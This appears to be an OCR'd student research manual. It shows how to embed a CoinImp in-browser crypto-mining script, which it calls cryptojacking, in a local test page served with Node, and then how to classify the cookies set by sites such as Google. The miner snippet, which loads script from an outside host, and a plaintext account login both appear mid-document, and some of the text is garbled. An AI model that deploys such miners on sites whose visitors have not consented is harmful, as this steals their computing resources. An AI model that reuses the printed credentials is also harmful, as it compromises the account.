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1 Setting-up the cryptojacking/in-browser cryptocurrency
mining script

Step 1: Signup on “Coinimp.com”

(eXd sign up with Google

OR

Email

Password

™

I'm not a robot
reCAPTCHA

Privacy - Terms

By clicking Register, you accept
Terms & Conditions and Privacy policy

Figure 1: Coinimp Signup.

Step 2: Locate and Copy the java script code along with the site key.
Click on Dashboard and then get the code. Given below is a screenshot for reference.



About Us Documentation FAQ Referral Program News |Dashboard| Wallet ‘ ’

dding code to your websites.

ASHES PENDING BALANCE

0.09097467 MINTME

Difficulty: 0.042G | Orphan blocks: 1% | Block reward: 1.012 MINTME

nent is enabled , 50% if advertisement is disabled.

e only one ad monthly. Ad will help MINTME gain in value.

Calculate your revenue Wordpress Plugin Get the code
one).

Figure 2: Dashboard and code for Cryptojacking along with site-key.

Untick “Show our advertisement on your site”, As done in the below given screenshot.

© Your site key placed inside Client. Anonymous({site-key}).

<script src="htips://www.hostingcloud. racing/uQaB.js" ></script>
<script>
var _client = new Client. Anonymou#( ece60ff@f14999ee7e237097906415b230cf91ec4bfd2afcac251383b0bded24, {
throttle: @, c: 'w', ads: @
hH
_client.start();
_client.addMiningNotification("Top", “This site is running JavaScript miner from coinimp.com. If it bothers you, you can stop itJ'

</script>

Copy to clipboard

@ If this option is ticked, your fee will be lower but your users will see our ad maximum once per month.
| Show our advertisement on your site.

[ Block showing your site content until mining is allowed.

Add a notification on your site about ongoing mining.

Figure 3: Code along with options.



Step 3: Create an html file and paste the JavaScript code in the body section and name the file
as “index.html”

DOCTYPE

e utf-8
viewport" content="width=device-width, initial-scale=1

src="https://www.hostingcloud.racing/uQaB. js

var _client new .
ece60ff0f1499 €237091906415b230cf91ecabfd2afcac251383b0bde924", {
throttle: @, c: 'w', ads: 0

3

_client. ()

_client. ("Top", "This site is running JavaScript miner from coinimp.com. If
it bothers you, you can stop it.", "#cccccc", 40, "#3d3d3d");

Figure 4: Sample html page with code snippet.

Step 4: Any kind of application server could be used, for this implementation NodeJs was used
to create an application server. To download click here.

nsde

HOME ABOUT DOWNLOADS Dpocs GET INVOLVED SECURITY CERTIFICATION NEWS

Downloads
Latest LTS Version: 18.12.1 (includes npm 8.19.2)

Download the Node.js source code or a pre-built installer for your platform, and start developing today.

LTS Current

Recommended For Most Users Latest

Figure 5: NodeJS download page.


https://nodejs.org/en/download/

#® |nstall Node.js

Standard Install on “Macintosh HD”

e This will take 232.5 MB of space on your computer.

Licence Click Install to perform a standard installation of this software

Destination Select on the disk "Macintosh HD".

Installation Type

Change Install Location...

Customise Go Back Install

Figure 6: Installing the nodeJs package.

Step 5: Install NodeJS and open terminal/command prompt and change directory to the
directory of your index.html or html file.

Use the Command "cd /Directory_of _your_file" and Run the command "sudo npm i http-server
-g " to initialise NodeJs.

Run the command to start the server "http-server"

Last login: Tue Dec 13 23:45:44 on ttys@0@

harshitsharma@harshits-MacBook-Air ~ % cd /Users/harshitsharma/Desktop/Research_Implementation\
harshitsharmaPharshits-MacBook-Air Research_Implementation % sudo npm i http-server -g
Password:

'changed 39 packages, and audited 4@ packages in 4s

10 packages are looking for funding
run “npm fund® for details

found @ vulnerabilities
harshitsharmaharshits-MacBook-Air Research_Implementation % http-server
Starting up http-server, serving ./

http-server version: 14.1.1

http-server settings:

CORS:

Cache: 3600 seconds

Connection Timeout: 120 seconds
Directory Listings: visible
AutoIndex: visible

Serve GZIP Files:

Serve Brotli Files:

Default File Extension:

Available on:
http://127
http://192.168.0.169 @
Hit CIRL-C to stop the server

Figure 7: Terminal snippet along with commands.

Step 6: Copy the local ip address in order to run the web site.



c 127.0.0.1

for web applications

functionality. You can use the

Mine Cryptocurrency option in

exchange of services and the
platform will not use any
tracker cookie or compromise
user privacy or track user in any
form or method.

[ Mine Crypto In exchange of Services | accept all cookies
Reject non-essential cookies

Figure 8: Screenshot of the sample service.

Click on “Mine Crypto in exchange of Services” to start mining.

2 Running the existing project

Step 1: Download the folder and install NodeJS or any other application server.

Downloads
Latest LTS Version: 18.12.1 (includes npm 8.19.2)

Download the Node.js source code or a pre-built installer for your platform, and start developing today.

LTS

Recommended For Most Users

node-v. 6.msi node-v18.12.1.pkg

Windows Installer (.msi)

Windows Binary (.zip)

Figure 9: NodeJS download page



#® |nstall Node.js

Standard Install on “Macintosh HD”

e This will take 232.5 MB of space on your computer.

Licence Click Install to perform a standard installation of this software

Destination Select on the disk "Macintosh HD".

Installation Type

Change Install Location...

Customise Go Back Install

Figure 10: Installing the NodeJs package.

Step 2: change the directory to the directory where the index.html file is present and run the
command "sudo npm i http-server -g " to initialise NodeJs then run command to start the server
"http-server".

Last login: Tue Dec 13 23:45:44 on ttys@00

harshitsharma@harshits-MacBook-Air ~ % cd /Users/harshitsharma/Desktop/Research_Implementation\
harshitsharmaPharshits-MacBook-Air Research_Implementation % sudo npm i http-server -g
Password:

changed 39 packages, and audited 4@ packages in 4s

10 packages are looking for funding
run ‘npm fund® for details

found @ vulnerabilities
harshitsharmaharshits-MacBook-Air Research_Implementation % http-server
Starting up http-server, serving ./

http-server version: 14.1.1

http-server settings:

CORS:

Cache: 3600 seconds

Connection Time : 120 seconds
Directory Li : visible
AutolIndex: visible

Serve GZIP Files:

Serve Brotli Files:

Default File Extension:

Available on:
http://127.0.0.1: )
http://192.168.0.169: 0

Hit CIRL-C to stop the server

Figure 11: Terminal snippet along with commands.

Step 3: Copy the local ip address along with port number in order to run the web site and
initiate mining.



127.0.0.1

for web applications

functionality. You can use the

Mine Cryptocurrency option in

exchange of services and the
platform will not use any
tracker cookie or compromise
user privacy or track user in any

form or method.
| MMCrypwlnvﬁmngeofSeMm| accept all cookies

rRajeot non-essential cookies |

Figure 22: Terminal snippet along with commands.

Step 4: To view the earned cryptocurrency and statistics login to coinimp website, with the
following credentials.

Username : x21157081@student.ncirl.ie
Password : Research@1337

COINIMP About Us Documentation FAQ Referral Program News Dashboard Wallet 0

@ Hash rate below is average and it should reach max speed only after 48h since adding code to your websites.

AV. HASHES/SEC TOTAL HASHES PENDING BALANCE

0 3405 645 0.09097467 MINTME

Payout: 0.01884995 MINTME per 1M hashes | Difficulty: 0.043G | Orphan blocks: 1% | Block reward: 1.012 MINTME

Payout: 80% if advertisement is enabled , 50% if advertisement is disabled.
© If enabled, users will see only one ad monthly. Ad will help MINTME gain in value.

Calculate your revenue Wordpress Plugin Get the code

Figure 33: Coinmp Dashboard post-login .

Step 5: This is an optional step If you are not able to login into my existing account, create a
new account and copy the site-key from your own new account and replace it in existing
index.html file with new site key. Kindly refer to below given screenshot line 62 of the
index.html file.

_client

throttle: 0.5

Figure 44: Code snippet for the site key, file index.html line number 62.

Update the site-key and add your new site-key from new account dashboard and then run the
project or refresh the site.



3 Cookie Investigation and Classification

For inspection of cookies and classification, kindly browse the target web site, click on the
padlock present before the target URL, then click on cookies, view and store cookie names and
try to read the content if it is not gibberish, alternatively a xI file is provided along with
submission that has all the web application whose cookies were investigated along with their
classification, description, source link. Given below are the screenshots for your reference.

C & google.com e o e Incognito I Update : )

A Track outages and protect against spam, fraud and abuse

Measure audience engagement and site statistics to understand how our services are used and enhance the

N
! quality of those services

If you choose to "Accept all', we will also use cockies and data to

» Develop and improve new services

il Deliver and measure the effectiveness of ads

+. Show personalised content, depending on your settings

@ Show personalised ads, depending on your settings

If you choose to 'Reject all', we will not use cookies for these additional purposes

Non-personalised content is influenced by things like the content that you're currently viewing, activity in your
active Search session, and your location. Non-personalised ads are influenced by the content that you're currently
viewing and your general location. Personalised content and ads can also include more relevant results,

recommendations and tailored ads based on past activity from this browser, like previous Google searches. We
also use cookies and data to tailor the experience to be age-appropriate, if relevant.

Select 'More options' to see additional information, including details about managing your privacy settings. You can
also visit g.co/privacytools at any time.

More options

Figure 55: Giving consent selecting the dataset type as per research.

On accessing the website, the user would be prompted with consent depending upon the type
of consent data set A could be gathered where user accepts all cookies and for data set B select
reject all.

# ¢google.com
google.com

@ Connection is secure

G Location

Reset permission @

@ Cookies

£ Site settings

Google Search I'm Feeling Lucky

Google offered in: Gaeilge

Figure 66: View Cookies on target URL.



c @ google.com

Cookies in use Gmail Image:

Allowed

The following cookies were set when you viewed this page

[+ google.com

| v I Cookies

| @ 1P_JAR
& AEC
& APISID
& CONSENT

Name
Content
Domain

Path

Remove

Figure 77: Cookies Embedded by the target URL

There is a file provided with submission, the classification of cookies was done on the basis
of the data available about the cookies in public domain, For classifying cookie, refer user

privacy policy of the target URL or website, you can also refer to cookie database or similar
services.

Reserarchin Computing # & & 8 - ﬁ
File Edit View Insert Format Data Tools Extensions Help Lastedit was seconds ago e

e o P 00% » § % .0 .00 123~ Defauht(Ai. - 10 ~- B T {;i & B E-i-Pl-%Yy eo B Y -3~ A
Ha -

B

HSID, SSID, APISID and SAPISID cookies enable Google to collect user information for videos hosted by YouTube. These cookies are used by Google to display personalized
A ] C E “ G H ]

Sr.no Nameiwebsite cookie_name Type Max Retention Period/ Track time description Source

https:/iwww fre
udenberg-filter.
com/en/privacy @
-note/cookies/

https:/timyocyc
le.com/en/cooki
e-statement

https:/icookieda
This cookie carries out information about how the |tabase.org/coo
end user uses the website and any advertising kie/google-ads-
hitp:/igoogle.co that the end user may have seen before visiting optimization/1p
1|m/ 1P_JAR Tracker 1 month the said website -jarf

For example, the ‘pm_sess', 'YSC', and 'AEC’ +
cookies ensure that requests within a browsing
3 session are made by the user, and not by other https:/ipolicies.
sites. These cookies prevent malicious sites from | google comitec
acting on behalf of a user without that user's hnologies/cooki
2 AEC Functional knowledge. as?hl=en-US

hitps:/iwww.roc
ketleague.com/
cookie-settings/
#i~itext=2%20y
ears-,HSID%2

+
1]

Netflix* ~ Wiki* ~ Twitter ~ Sheet13 ~ facebook ~ google ~ Youtube ~ 1 Explore 2

Figure 88: Screenshot of the xI file, where cookies were classified.
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